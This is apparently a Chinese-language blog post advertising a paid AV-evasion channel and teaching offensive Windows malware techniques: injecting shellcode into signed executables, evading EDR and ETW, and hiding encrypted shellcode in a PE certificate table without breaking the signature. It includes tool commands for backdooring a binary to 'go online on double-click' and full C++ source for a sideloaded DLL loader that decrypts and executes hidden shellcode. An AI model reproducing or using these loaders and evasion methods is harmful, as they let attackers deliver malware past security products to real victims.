欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新83+ PDF文档,《2025年了,人生中最好的投资就是投资自己!!!》
加好友备注(星球)!!!
一些纷传的资源:
shellcode注入
我们可以将Shellcode注入其合法的可执行文件中,这个可执行文件是有数字签名且有效的。这种操作会破坏原文件的数字签名,使其失效。
破坏了原文件的数字签名之后,使用自签名或者自定义的Authenticode证书重新对该文件进行签名,这样文件看起来仍然具有签名,从而可能绕过一些安全检测。
一般我们需要去考虑注入的位置,我们可以将shellcode注入到可执行文件的.text节,和原有的代码混合在一起。
也可以将shellcode注入到一个单独的段中,通常是文件中的倒数第二段或倒数第N段,以避免与原始代码段混合,降低被发现的几率。
那么我们如何去执行呢?这里我们可以分为4种方式去执行我们的shellcode。
-
通过更改可执行文件的入口点地址(
AddressOfEntryPoint
),将程序的初始执行位置指向恶意代码或自定义代码。一般我们不会用这种方式,直接修改入口地址的话,会导致原本程序无法运行。 -
通过劫持程序中的跳转或调用指令(如JMP或CALL),将程序的控制流重定向到恶意代码位置。
-
通过在可执行文件中设置TLS(线程局部存储)回调函数,使系统在加载可执行文件时,首先执行指定的TLS回调函数,从而运行恶意代码。
-
通过劫持DLL文件中的导出函数,将特定的导出函数指向恶意代码,从而在调用这些函数时执行恶意代码。
注入水印
一般红队会跟踪他们的植入工具/恶意软件,在网络安全的红队测试中,植入工具(Implants)和恶意软件(Malware)是红队用于渗透、控制目标系统的重要工具。负责任的红队会严格管理和跟踪他们使用的这些工具,以便在操作过程中保持对所使用技术的掌握和控制。这不仅有助于评估攻击的效果,还能避免在目标系统中遗留不必要的痕迹或未控制的恶意工具,防止对目标的过度损害。通过跟踪这些工具,红队可以识别工具的传播范围、是否被防御团队检测到,以及它们的生命周期。
跟踪你的IOC
入侵指示器(Indicators of Compromise,IOC)是能够揭示网络安全事件或恶意行为的技术特征,例如文件哈希、IP地址、域名、注册表修改、可疑进程等。红队在进行攻击时产生的IOCs可能被蓝队或安全产品(如防病毒软件、EDR等)检测到。为了更好地评估攻击的成功与否,红队需要对这些IOCs进行跟踪,以便了解哪些行为被检测了,哪些还未被识别。这有助于他们调整技术手段,改进攻击方法,从而在不被检测的情况下达成目标。
在有效载荷中注入自定义“水印”,并定期检查VirusTotal。
红队可以在他们的恶意代码或有效载荷(Payload)中嵌入自定义的“水印”。这种水印是一种独特的标识符,通常不会影响恶意代码的功能,但可以帮助红队在后续操作中识别并跟踪他们的代码。例如,如果恶意代码被抓获并上传到公共的恶意软件分析平台(如VirusTotal),红队可以通过这个水印识别出自己的样本,了解其是否已经被分析或检测。
定期检查VirusTotal 是为了监控他们的恶意代码是否已经被上传、共享或检测到。VirusTotal是一个知名的在线恶意软件分析平台,允许用户上传文件并对其进行安全扫描。通过定期在VirusTotal上搜索自定义水印,红队可以了解他们的工具是否被捕获或分析,并采取进一步的措施(如调整攻击策略或改进恶意软件代码),以保持在攻击中的隐秘性。
在哪里注入自定义"水印"?
-
DOS Stub DOS存根是PE(可执行文件格式)文件中的一个遗留部分,它存在于文件的开头。通常这个部分的作用是显示“此程序无法在DOS模式下运行”的消息。现代Windows操作系统在加载PE文件时会忽略这个部分。由于它通常没有实际作用,红队可以将自定义水印(如特定的标识字符串或数据)嵌入到这个区域,不影响文件的正常执行,且不会被常规的文件检测工具发现。
-
PE头属性 PE文件头中包含各种属性信息,如编译时间戳和文件的校验和(Checksum)。红队可以通过修改这些属性来嵌入水印。例如,可以将时间戳设置为特定的时间标志或编码信息,或者修改文件的校验和,使其包含某种可以识别的模式。这些属性在运行时不会被系统频繁使用,因此可以用来隐藏自定义水印。
-
覆盖区 覆盖区是指PE文件中没有被正式使用的部分,通常出现在文件结构结束之后。如果PE文件在生成过程中留有额外的空间,红队可以利用这些空间来嵌入自定义数据或水印。这些数据不会影响文件的功能,但可以作为水印信息用于后续的文件识别和追踪。
-
额外的PE段 PE文件的结构中包含多个段(Sections),如
.text
段(存放代码)、.data
段(存放全局数据)等。红队可以通过在PE文件中增加一个新的自定义段,将水印信息放入这个段中。新的段不会影响原有的代码执行,因为它只是为水印数据而添加的。这种方式可以有效隐藏水印,并且不易被常规的恶意软件检测工具发现。 -
资源部分 PE文件通常包含资源段,用于存放非代码数据,如图标、对话框、版本信息(Version Info)、清单文件(Manifest)等。红队可以通过在这些资源文件中嵌入自定义的标识信息来实现水印。例如,修改文件的版本信息或清单文件,加入一些特定的字符串或数据作为水印。由于这些资源部分通常不会被执行,它们是嵌入水印的理想位置,且不容易被怀疑或检测。
水印应该是什么样子的?
-
随机的SHA256 红队可以使用随机生成的SHA-256哈希值作为水印。SHA-256是一种常见的哈希算法,生成的哈希值为固定长度的256位字符串。由于每次生成的哈希值都是唯一的,红队可以使用这些随机的哈希值作为水印标识,来跟踪不同的恶意软件或植入工具。这个哈希值可以嵌入到文件的某个部分,如之前提到的DOS存根、PE头等,以实现文件的唯一标识和追踪。这个方式简单且难以被发现或识别为水印。
-
加密的任务元数据 另一个更复杂的水印方法是嵌入加密后的任务元数据。任务元数据可以包括红队的操作信息,如攻击任务的ID、时间、目标环境信息等。通过加密这些数据,可以使它们更加难以被第三方分析。CyberChef是一款用于数据处理和加密的在线工具,红队可以使用它对这些元数据进行加密或转换,然后将结果作为水印嵌入到恶意软件中。
我们可以使用工具对其我们的恶意文件添加水印。
python RedWatermarker.py -t "www.relaysec.com"C:UsersAdministratorDesktopbeacon.exe -v
strings.exe beacon.exe | findstr "relaysec"
添加成功之后,如果我们上传到微步或者VT沙箱去检测的话,一般沙箱都会去提取字符串,那么我们就可以搜索relaysec.com这个字符串,看是否可以搜索的到,如果可以搜到,证明有人将我们的恶意文件已经传到了沙箱。
但是我在测试的时候发现,微步沙箱优点鸡肋,似乎是搜不到的。
但是VT应该是可以搜索的到的,只是需要企业会员。
VT搜索的话使用context语法即可,但是没有企业会员也是搜索不了的。
content:"relaysec.com"
那么我们可以尝试将其shellcode注入到正常文件中。
但是需要注意的是,你的这个shellcode是不能去做加密的,如果做了加密之后就无法运行。
还有就是使用SGN的内存自解密也是不行的。
python RedBackdoorer.py 1,3 c:UsersAdministratorDesktoppayload.bin C:UsersAdministratorDesktopAutoruns64.exe -o c:UsersAdministratorDesktopAutoruns64k.exe -v
双击即可上线....
Shell Code Loader编写
-
接收输入的shellcode 验证环境 如果一切正常则注入,这个程序会接收输入的Shellcode(通常是恶意代码的一个部分),首先检查当前运行的环境是否符合预期条件。如果环境合适,就将这个Shellcode注入目标进程或系统中。
-
负责绕过沙箱,代理,AV/EDR并安全地在目标机器上执行。 Shellcode的主要任务是通过各种反检测技术来避开沙盒(用于恶意软件分析的虚拟环境)、代理服务器、杀毒软件和终端检测系统,以确保它能够安全地在目标机器上运行。
-
环境验证/密钥绑定,谨慎地解密Shellcode。 在执行之前,Shellcode会进行环境验证或者通过某种方式与特定的密钥绑定,确保只有在预期的环境中才会解密和运行,以避免被检测到或分析。
Shellcode可以注入到自身进程中,即将恶意代码加载到当前运行的进程中,这是自我注入或本地注入。Shellcode也可以注入到其他进程中运行,即通过远程注入技术将恶意代码加载到其他目标进程中。
这种注入方法可能会被自动化分析工具或沙盒环境所捕获或触发,从而暴露其行为。Shellcode的加载器可能会出现在进程树中,这意味着它可能作为某个进程的子进程或关联进程被检测到。加载器也可能出现在进程的模块列表中,表明Shellcode可能是通过某个模块或DLL被加载的,能够被安全工具监控到。
第一阶段-分配内存:
如下有4种方式来分配内存:
-
寻找一块内存区域,这块内存区域既可以读,也可以去执行代码,并且足够大,这样的话就可以容纳我们的shellcode。
-
创建一块新的内存区域,并将其shellcode注入到其中,这个内存区域我们给定可读可写可执行即可。
-
在现有的进程或程序的内存中,找到一些未使用的空间(通常是未被分配或使用的小空洞) 并将Shellcode注入这些空洞中。
-
可以将shellcode注入到堆栈或堆中,但需要先调整这些内存区域的页面权限,使其允许执行代码。同时,还需要禁用DEP(数据执行保护),因为DEP会阻止在这些区域执行代码。
一般我们申请内存使用到的函数都是VirtuAlloc,HeapAlloc,GlobalAlloc等等R3层的API函数,有时候我们会去使用系统调用来进行使用。但是我们一般使用这种方式申请的内存都是私有的内存,就是在内存页面哪里,都是private的。
所以我们一般申请内存的时候,我们可以使用映射内存的方式,也就是NtMapViewSeciton + ZwCreateSection的这种方式。
如下是VirtualAlloc申请的内存:
其实我们可以发现是有很大的不同的。
还有一点需要注意的是,一般我们去申请内存的时候,不要直接申请RWX的,一般都是只申请RW也就是可读可写的权限,最后通过VirtualProtect函数来将其更改为可执行的权限,也就是RX或RWX的权限。
这里有一个简单的示例。
-
恶意程序(Malware.exe或Malware.dll)首先启动一个合法的程序SSH.EXE。
-
SSH.EXE进程会加载MSYS-2.0.dll这个动态链接库。
-
MSYS-2.0.dll会自动分配一个16KB大小的内存段,该段具有读写执行(RWX)的权限。
-
恶意程序使用
OpenProcess
函数打开SSH.EXE进程,获取对该进程的访问权限。 -
因为SSH.EXE进程没有启用ASLR,内存地址是固定的,所以可以使用
WriteProcessMemory
函数将Shellcode写入SSH.EXE进程的基础地址加上一个已知的固定段偏移位置。 -
最后,等待SSH.EXE进程在注入的Shellcode所在的RWX段中执行,利用这个现成的内存段执行恶意代码。
第二阶段-写入shellcode
写的话,一般我们都是使用memcpy或WriteProcessMemory函数来写入我们的shellcode的,或者使用系统调用NtWriteVirtualMemory函数等等。
上面这些方式的话,其实杀软杀的听严重的,我们可以在真正的Shellcode之前插入一些无用的机器指令(即虚假的操作码),这样可以混淆检测工具,使其更难识别出真正的恶意代码。
或者将Shellcode拆分成若干小块,然后以随机的顺序将这些块写入目标进程的内存中。这样可以打乱代码的顺序,使检测工具难以检测到完整的恶意代码。
在每次写入Shellcode块的操作之间引入一定的延迟,从而减少频繁写操作带来的可疑行为,这样可以降低被检测到的风险。
也就是说我们可以将shellcode分成多个小块,然后以随机的方式去写入shellcode,在多次写入的中间,加入一些延时,避免频繁写入。
第三阶段-执行shellcode
一般我们执行shellcode,尽量不要去创建新的线程去执行,因为一般EDR会监控线程的启动位置,以检测潜在的恶意行为。
EDR会检查新线程的启动函数是否位于合法的内存区域,如系统库(例如ntdll.dll)所管理的内存。如果启动函数不在这些区域,可能会被认为是异常或恶意行为。
一般我们都是通过CreateRemoteThread和ZwCreateThreadEx来创建一个新的线程,线程的起始地址指向我们的shellcode来执行的。
当然就好比我们之前说到过的线程劫持,我们可以通过setThreadContext来设置线程的上下文,比如修改Rip指向我们的shellcode地址。
一般的话我们都会使用NtSetContextThread来修改线程的上下文。
还有就是APC注入了,我们可以调用NtQueueApcThreadEx函数将APC排队到目标线程。或者就是硬件断点以及Hooking,我们可以将目标函数的前几个字节修改为跳床代码,然后将其跳转到我们自定义的函数这里,在自定义函数这里执行shellcode。
以及我们常见的执行shellcode的方式,比如回调函数,指针执行等等。
Shellcode注入
我们之前讲过一系列的shellcode注入方式,比如普通的shellcode注入,dll注入,APC注入,函数篡改注入等等。
我们可以将一些注入的小程序都丢到你想要突破的AV/EDR上,看看那个方式可以绕过检测并执行。
Shellcode注入面临着前所未有的挑战性。
CFG控制流保护
首先是强制防御的机制,第一种是控制流保护,也就是CFG,CFG是一种防御机制,防止攻击者通过控制流劫持,例如返回地址覆盖或函数指针劫持)来执行恶意代码。它主要通过监控间接函数调用的合法性,确保代码执行不会跳转到攻击者设定的非法地址。
CFG是操作系统的一部分,它最早在Windows8.1 Update 3 和 Windows 10 中引入的,他是由操作系统负责实施和执行。CFG 通过编译时和运行时的结合,在程序的二进制中插入保护检查,从而确保间接函数调用只能跳转到合法的目标地址。
在远程注入的过程中,恶意代码需要在被注入的目标进程中执行,当注入的代码试图调用函数或跳转到新的执行路径时,CFG会检查该跳转是否符合程序的预期控制流,如果注入的代码违反了控制流的检测,CFG会阻止代码执行,导致注入失败。
一般这个东西需要我们去启用CFG控制流保护,这个我们可以在VS中进行设置。
但是一般我们去写恶意代码的时候
现在基本上Windows自带的系统程序,比如notepad.exe,explorer.exe都启用了CFG,但是需要注意的是CFG他只是控制流的一个保护,它保护的只是程序内部的合法函数的调用,防止非法的跳转或函数的调用,就比如说你劫持了目标程序中的某个函数,让其函数的返回地址到我们的shellcode,这样的话CFG会检查跳转地址是否在合法的目标范围内。
简单举一个例子,假设你劫持了 Notepad.exe 中的一个函数,并且将其返回地址修改为你注入的 shellcode。CFG 会在程序试图跳转到这个地址时进行检查,发现该地址不是合法的函数入口,因此会阻止这个跳转并终止程序。
更严格的监控步骤
比如打开目标进程的句柄、在目标进程内分配内存、向目标进程写入数据(通常是恶意代码或 shellcode),以及让这些代码在目标进程中执行,这些行为会受到安全机制(如 EDR、反病毒软件、ETW 等)的更严格和密切监控。
远程注入操作会生成大量的遥测数据
在远程注入的过程中,系统和安全工具会记录大量的行为和事件,这些事件和行为能够为安全分析和检测提供丰富的数据,使得远程注入行为更容易被发现和分析。
这里的遥测数据是指系统、应用程序和安全工具通过持续监控和记录系统活动所生成的信息。它们通常包含关于进程行为、内存使用、API 调用、线程活动等的详细记录。
ETW会记录这些注入的行为
ETW(Event Tracing for Windows) 是 Windows 操作系统提供的一种强大事件跟踪机制,用于记录和分析系统和应用程序的各种活动。ETW 通过生成详细的事件日志,帮助管理员和安全专家监控系统的运行状态。
注入行为:远程注入涉及打开目标进程句柄、内存分配、写入数据、执行代码等操作。ETW 可以捕捉这些操作相关的事件,并记录到日志中。
件跟踪:ETW 能够记录进程间的各种活动,例如哪个进程调用了 OpenProcess
、VirtualAllocEx
、WriteProcessMemory
和 CreateRemoteThread
,这些都是远程注入的关键步骤。
威胁情报源:ETW 生成的日志被用作威胁情报源。安全工具和分析人员可以通过 ETW 日志,追踪和分析远程注入活动,发现潜在的恶意行为
EDR 钩子和传感器:端点检测和响应(EDR)工具会通过钩子和传感器监控远程注入操作
EDR(Endpoint Detection and Response) 是一种综合性的安全解决方案,旨在监控、检测和响应终端上的潜在威胁。
-
EDR 钩子:
-
功能:EDR 工具在操作系统级别植入钩子(hooks),拦截和记录系统调用。钩子可以用来捕捉关键 API 调用,例如
OpenProcess
、WriteProcessMemory
和CreateRemoteThread
。 -
检测注入:通过这些钩子,EDR 工具可以实时监控远程注入行为,包括访问和操作其他进程的内存、创建远程线程等。
-
EDR 传感器:
-
功能:EDR 传感器是安装在终端上的软件组件,负责收集和分析终端的各种活动数据。这些数据包括进程、线程、内存操作、网络流量等。
-
监控注入操作:传感器可以捕捉和记录远程注入过程中的所有活动数据,帮助安全团队识别和响应恶意行为。
-
实时监控:
-
EDR 工具通过钩子和传感器,能够实时监控和分析进程和系统的行为,检测到潜在的远程注入行为后,及时生成警报并执行响应措施。
回溯线程的调用栈:系统会回溯线程的调用栈,检查 NtOpenProcess 是否由可信的线程调用
回溯线程的调用栈是一种安全分析技术,用于检查特定线程的行为和调用历史。
-
调用栈回溯:
-
定义:调用栈是线程在运行时的调用记录,记录了函数调用的顺序。回溯调用栈即是追踪和分析线程的调用记录,以了解它的执行路径。
-
目的:通过回溯调用栈,安全工具可以检测线程是否以合法的方式调用了系统 API,例如
NtOpenProcess
。 -
检测可信线程:
-
目标:系统会检查调用
NtOpenProcess
的线程是否为可信的线程。例如,系统可能会检查该线程是否属于系统进程、是否具有合适的权限,以及是否有正常的操作模式。 -
反向分析:如果线程的调用栈显示它在非正常的上下文中调用
NtOpenProcess
,或显示异常的调用路径,这可能意味着该线程尝试进行非法操作,如恶意远程注入。 -
使用场景:
-
安全防护:此技术用于检测恶意软件试图通过未授权的线程来打开进程句柄。合法的应用程序通常不会以异常的方式或通过非预期的线程来访问进程。
-
日志和分析:安全工具可以记录和分析线程的调用栈,以识别异常行为和潜在的安全威胁。
注入.Net进程
如果你真的要进行远程注入的话,一般我们会选择.Net进程进行注入,.NET 进程的内存中包含大量 CLR(公共语言运行时)管理的对象和数据,这些内存结构与传统的原生进程不同。CLR 的运行和管理机制产生的内存痕迹可以掩盖注入的恶意代码,使得注入活动更难以被检测。
恶意代码或 C2 工具在 .NET 进程中留下的痕迹会容易与正常的 .NET 内存活动混淆。这是因为 .NET 环境产生大量的内存痕迹和数据,这些正常的内存特征可以掩盖恶意活动,使其不易被检测。为了验证这一点,可以使用工具如 Moneta64 比较原生进程和 .NET 进程中收集到的 IOCs,以了解恶意活动在 .NET 环境中的掩盖效果。
我们如何确定哪些进程是.net程序呢?我们可以使用Process Hacker查看是否加载了mscorlib.dll这个模块。
例如devenv.exe这个进程。
我们可以使用Moneta64来检查某些个.Net进程中的一些指标IOC。
比如我们可以检查explorer进程中的IOC指标。
.Moneta64.exe -m ioc -p (Get-Process explorer).Id
ETW规避的一些方式
ETW就不用说了,ETW - Microsoft-Windows-Threat-Intelligence 是 Windows 系统中的一个事件跟踪提供程序(Event Tracing for Windows, ETW),用于记录和监控与威胁情报相关的事件。ETW 是 Windows 提供的一种强大的跟踪和日志记录机制,用于收集系统、应用程序和安全事件的详细信息。
Microsoft-Windows-Threat-Intelligence
-
描述:
Microsoft-Windows-Threat-Intelligence
是 ETW 提供程序之一,专门用于记录与威胁情报相关的事件。这可能包括安全事件、恶意活动、入侵检测、异常行为等。 -
事件类型:这个提供程序可能会记录各种与安全威胁相关的事件,例如恶意软件活动、可疑的网络流量、异常的进程行为等。
通过启用 Microsoft-Windows-Threat-Intelligence
提供程序,可以监控和分析系统中的潜在威胁,帮助安全团队检测和响应安全事件。:你可以使用像 Event Viewer 或 Windows Performance Recorder 这样的工具来查看和分析这些 ETW 事件。
启用并配置 Microsoft-Windows-Threat-Intelligence
提供程序可以帮助捕获详细的安全事件数据,这些数据对于后续的威胁分析和响应至关重要。
那么一般EDR会利用ETW事件跟踪来维护一个包含每个进程活动的环形缓冲区。
EDR 利用 ETW 提供的环形缓冲区来全面监控和记录系统中每个进程的活动。这包括进程启动、文件和注册表操作、线程创建、函数调用,以及 .NET 相关的活动。通过这些详细的数据,EDR 能够检测异常行为、识别潜在的安全威胁,并提供深入的分析能力。
那么规避ETW其实我们之前讲了两种方式,一种方式就是Patch EtwEventWrite来阻止或伪造 ETW 事件。
另外一种方式是通过禁用事件跟踪,来阻止事件记录和监控。
其实也可以通过风险事件之间的显著延迟来规避EDR系统检测,这种方法通过在恶意活动的关键步骤之间引入时间延迟,使得检测系统更难将这些步骤关联在一起,从而提高了恶意活动的隐蔽性。
正常流程:在正常的程序执行中,恶意代码的各个步骤(如内存分配、写入、执行)通常会快速连续地发生。
延迟目的:通过引入人为的延迟,可以让这些步骤变得不那么连续,使得 EDR 和其他监控工具在分析时更难将它们关联在一起。
DripLoader 示例
-
DripLoader
是一种恶意软件,利用引入延迟的技术来规避检测。具体步骤包括:
-
分配内存:首先,恶意软件分配内存来存储其代码。
-
引入延迟:在完成内存分配后,恶意软件会在写入代码之前引入一定的时间延迟。
-
写入内存:延迟后,恶意代码被写入到之前分配的内存区域。
-
再次引入延迟:在执行代码之前,恶意软件可能会再引入一些延迟。
-
执行代码:最终,延迟后执行存储的恶意代码。
一般实现延迟的方法,可以通过Sleep函数,或者其他的一些方式,这个取决于自己。
Shellcode的存储方式
Shellcode的存储方式有很多种,比如硬编码,在合法的PE文件中加入后门,包含shellcode和加载器,或者从互联网上直接下载下来的分阶段的shellcode。
那么我们接下来一一介绍这几种存储shellcode的方式。
硬编码
首先是硬编码,所谓硬编码,其实就是将shellcode直接写到代码中,在使用之前需要重新编译,其实就是说当shellcode被直接嵌入到代码中的时候,如果此时我们需要更新shellcode,我们就需要对其代码重新编译。
至于你将shellcode放在那个节中,比如.text节,.data节,.rdata节等等都可以。
但是需要注意的是,也要给足相应的页面保护权限。
分阶段
分阶段的shellcode,好处其实就是你的加载器比较小,并且里面没有shellcode威胁,坏处其实就是行为这块,如果AV/EDR检测到有下载相关的请求,可能会进行拦截。
shellcode存储在证书表中
这里的shellcode存储在证书表中,其实和我们的白加黑是差不多的,我们白加黑其实都是通过白程序+黑dll+shellcode的这种方式,基本上loader会直接在黑dll中编写,除了白加黑的方式,我们也可以将shellcode存储在pe文件的证书表中,当我们将shellcode存储在证书表中之后,我们就可以通过黑dll去读取该白程序中的shellcode并加载它,这样其实就少了一个文件了。
这里我们介绍一款工具,它可以将我们的shellcode嵌入到白程序中。
https://github.com/med0x2e/SigFlip
我们都知道,一般修改文件的话,会导致hash值发生改变,进而签名会直接失效,这个工具就是为了解决这个问题。
这个工具可以修改已经通过 Authenticode 签名的 PE 文件(如 exe, dll, sys 等)而不破坏签名的完整性。这听起来违反常理,因为如前所述,任何对 PE 文件的修改,都会导致其哈希值变化,进而破坏签名验证。然而,SigFlip 通过精妙的方式实现了对 PE 文件的修改,且不会影响 Authenticode 签名。
他的工作原理我们需要去简单解释一下。
SigFlip的核心思想其实就是利用Authenicode签名验证过程中的一个特征,有些字段和部分数据在签名验证时被有意忽略。通过在这些被忽略的字段中嵌入数据,可以修改文件内容,而不影响 Authenticode 签名的验证。
工作原理如下:
利用签名忽略的PE数据部分,在 Authenticode 的签名验证过程中,某些 PE 文件的字段和节并不包含在签名验证的范围内。例如:
PE 文件的 证书表(Certificate Table)。某些特定的填充区域或未使用的部分。这个工具其实就是利用了这些忽略验证的部分,在其中插入数据,以便在不破坏签名的情况下修改其行为。
使用方式如下:
根据作者介绍,我们可以修改PE文件的哈希值从而不破坏其签名或证书的有效性,这使得我们可以绕过基于哈希值的检测。
SigFlip.exe -b "<PE_FILE_PATH>""<OUTPUT_PE_FILE_PATH (with extension)>"
SigFlip.exe -b "C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe""c:UsersAdministratorDesktopms.exe"
SigFlip.exe -i[exe/dll file path][shellcode file path][output_file_path (with extension)][Encryption Key]
i
:指定注入模式,表示将 shellcode 注入到目标文件中。
[exe/dll file path]
:目标 PE 文件的路径,通常是一个 .exe
或 .dll
文件。这个文件是带有有效签名的白文件。
[shellcode file path]
:要注入的 shellcode 文件路径,通常是一个包含恶意代码的二进制文件(如 shellcode.bin
)。
[output_file_path (with extension)]
:注入完成后生成的新 PE 文件的路径和文件名。输出文件会保持目标文件的签名有效,同时带有加密后的 shellcode。
[Encryption Key]
:用于加密 shellcode 的密钥,这个密钥稍后需要在加载 shellcode 时解密用。
SigFlip.exe -i "c:UsersAdministratorDesktopms.exe""c:UsersAdministratorDesktoppayload.bin""C:UsersAdministratorDesktopms-payload.exe""0xDEADBEEF"
最后会生成一个ms-payload.exe新的文件,密钥为0xDEADBEEF。
可以看到签名依旧是有效的。
SigLoader.exe"c:UsersAdministratorDesktopms1-payload.exe""0xDEADBEEF"
那么其实我们是可以去扩展思路的,
比如说我们可以和白加黑进行配合,其实就相当于让某个白程序作为了shellcode的载体。
我们在某个白程序的黑dll这里写:
需要注意的是我这里将360-payload.exe这个程序作为了shellcode的载体,打开这个文件读取到shellcode之后,对其进行解密,这里解密的密钥为0xDEADBEEF,这里也是需要更改的地方。
#include <Windows.h>
#include <stdio.h>
#include "kk.h"
#define MAX_PATH_LENGTH 255
extern "C" __declspec(dllexport) int GetInstallDetailsPayload() {
CHAR _fPath[MAX_PATH_LENGTH] = {};
HANDLE HThread = INVALID_HANDLE_VALUE;
DWORD _encryptedDataSize = 0;
DWORD _dataOffset = 0;
DWORD _CertTableRVA = 0;
SIZE_T _CertTableSize = 0;
LPWIN_CERTIFICATE _wCert = {};
CHAR* _decryptedData = NULL;
CHAR* _rpadding = NULL;
DWORD _fSize = 0;
VOID* _peBlob = NULL;
DWORD _DT_SecEntry_Offset = 0;
LPVOID shellcode = NULL;
BYTE* _pePtr = NULL;
PIMAGE_DOS_HEADER _dosHeader = {};
PIMAGE_NT_HEADERS _ntHeader = {};
IMAGE_OPTIONAL_HEADER _optHeader = {};
DWORD _bytesRead = 0;
HANDLE _fHandle = INVALID_HANDLE_VALUE;
SIZE_T _index = 0;
memcpy_s(&_fPath, MAX_PATH_LENGTH, "360-payload.exe", MAX_PATH_LENGTH);
printf("[*]: Loading/Parsing PE File '%s'n", _fPath);
_fHandle = CreateFileA(_fPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (_fHandle == INVALID_HANDLE_VALUE) {
fprintf(stderr, "[!]: Could not read file %sn", _fPath);
exit(EXIT_FAILURE);
}
_fSize = GetFileSize(_fHandle, NULL);
_peBlob = (char*)malloc(_fSize);
ReadFile(_fHandle, _peBlob, _fSize, &_bytesRead, NULL);
if (_bytesRead == 0) {
fprintf(stderr, "[!]: Could not read file %sn", _fPath);
goto _Exit;
}
_dosHeader = (PIMAGE_DOS_HEADER)_peBlob;
if (_dosHeader->e_magic != 0x5a4d) {
fprintf(stderr, "[!]: '%s' is not a valid PE filen", _fPath);
goto _Exit;
}
_ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)_peBlob + _dosHeader->e_lfanew);
_optHeader = (IMAGE_OPTIONAL_HEADER)_ntHeader->OptionalHeader;
if (IsWow64(GetCurrentProcess())) {
if (_optHeader.Magic == 0x20B) {
_DT_SecEntry_Offset = 2;
}
}
else {
if (_optHeader.Magic == 0x10B) {
_DT_SecEntry_Offset = -2;
}
}
_CertTableRVA = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].VirtualAddress;
_CertTableSize = _optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY + _DT_SecEntry_Offset].Size;
_wCert = (LPWIN_CERTIFICATE)((BYTE*)_peBlob + _CertTableRVA);
printf("[+]: Certificate Table RVA %xn", _CertTableRVA);
printf("[+]: Certificate Table Size %dn", _CertTableSize);
//Linear search for 0xfeedface0xfeedface tag
_pePtr = ((BYTE*)_peBlob + _CertTableRVA);
for (_index = 0; _index < _CertTableSize; _index++) {
if (*(_pePtr + _index) == 0xfe && *(_pePtr + _index + 1) == 0xed && *(_pePtr + _index + 2) == 0xfa && *(_pePtr + _index + 3) == 0xce) {
printf("[*]: Tag Found 0x%x%x%x%x", *(_pePtr + _index), *(_pePtr + _index + 1), *(_pePtr + _index + 2), *(_pePtr + _index + 3));
_dataOffset = _index + 8;
break;
}
}
if (_dataOffset != _index + 8) {
fprintf(stderr, "[!]: Could not locate data/shellcode");
goto _Exit;
}
//Decrypting
_encryptedDataSize = _CertTableSize - _dataOffset;
_decryptedData = (CHAR*)malloc(_encryptedDataSize);
memcpy(_decryptedData, _pePtr + _dataOffset, _encryptedDataSize);
decrypt((unsigned char*)_decryptedData, _encryptedDataSize, (unsigned char*)"0xDEADBEEF", strlen("0xDEADBEEF"), (unsigned char*)_decryptedData);
printf("n[+]: Encrypted/Decrypted Data Size %dn", _encryptedDataSize);
//Execute shellcode (just a basic/vanilla local shellcode injection logic, You can use other techniques)
//Customize the following as you see fit.
shellcode = VirtualAlloc(NULL, _encryptedDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), shellcode, _decryptedData, _encryptedDataSize, NULL);
HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)shellcode, 0, 0, 0);
WaitForSingleObject(HThread, 0xFFFFFFFF);
_Exit:
if (_peBlob) free(_peBlob);
if (_decryptedData) free(_decryptedData);
CloseHandle(_fHandle);
return 0;
}
extern "C" __declspec(dllexport) int SignalInitializeCrashReporting() {
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
头文件如下:
kk.h
#ifndef _HELPER_
#define _HELPER_
#pragma comment(lib, "dbghelp.lib")
#include <stdio.h>
#include <windows.h>
#include <DbgHelp.h>
#include <WinTrust.h>
#include <time.h>
extern void decrypt(unsigned char* data, long dataLen, unsigned char* key, long keyLen, unsigned char* result);
extern BOOL IsWow64(HANDLE pHandle);
#endif
#include "kk.h"
void decrypt(unsigned char* data, long dataLen, unsigned char* key, long keyLen, unsigned char* result) {
unsigned char T[256];
unsigned char S[256];
unsigned char tmp;
int j = 0, t = 0, i = 0;
for (int i = 0; i < 256; i++) {
S[i] = i;
T[i] = key[i % keyLen];
}
for (int i = 0; i < 256; i++) {
j = (j + S[i] + T[i]) % 256;
tmp = S[j];
S[j] = S[i];
S[i] = tmp;
}
j = 0;
for (int x = 0; x < dataLen; x++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
tmp = S[j];
S[j] = S[i];
S[i] = tmp;
t = (S[i] + S[j]) % 256;
result[x] = data[x] ^ S[t];
}
}
BOOL IsWow64(HANDLE pHandle)
{
BOOL isWow64 = FALSE;
typedef BOOL(WINAPI* PFNIsWow64Process) (HANDLE, PBOOL);
PFNIsWow64Process _FNIsWow64Process;
_FNIsWow64Process = (PFNIsWow64Process)GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process");
if (NULL != _FNIsWow64Process) {
if (!_FNIsWow64Process(pHandle, &isWow64)) {}
}
return isWow64;
}
其他的一些方式大家可以自由的去发挥。
可执行文件的格式
基于流行度/声誉的检测基址
这意味着某些文件或程序可能会根据他们的流行度或声誉被检测或标记为恶意或安全,个程序如果被认为是未知的、不常见的,或者其声誉较低,安全软件可能会基于这些信息将其标记为潜在的威胁,甚至阻止其运行。流行度和声誉检测通常是现代杀毒软件和EDR(Endpoint Detection and Response)系统用来判断文件或程序是否安全的一种方法。
购买证书
如果你有钱的话,可以直接购买支持微软的签名证书,一年几百欧元。
如下链接购买:
https://shop.certum.eu/certum-ev-code-sigining.html
根据官网介绍EV 代码签名证书是一种允许软件作者对其代码/程序/应用程序进行数字签名的工具。该证书满足所有 Microsoft 要求,包括立即消除 Microsoft SmartScreen 筛选器警告消息。
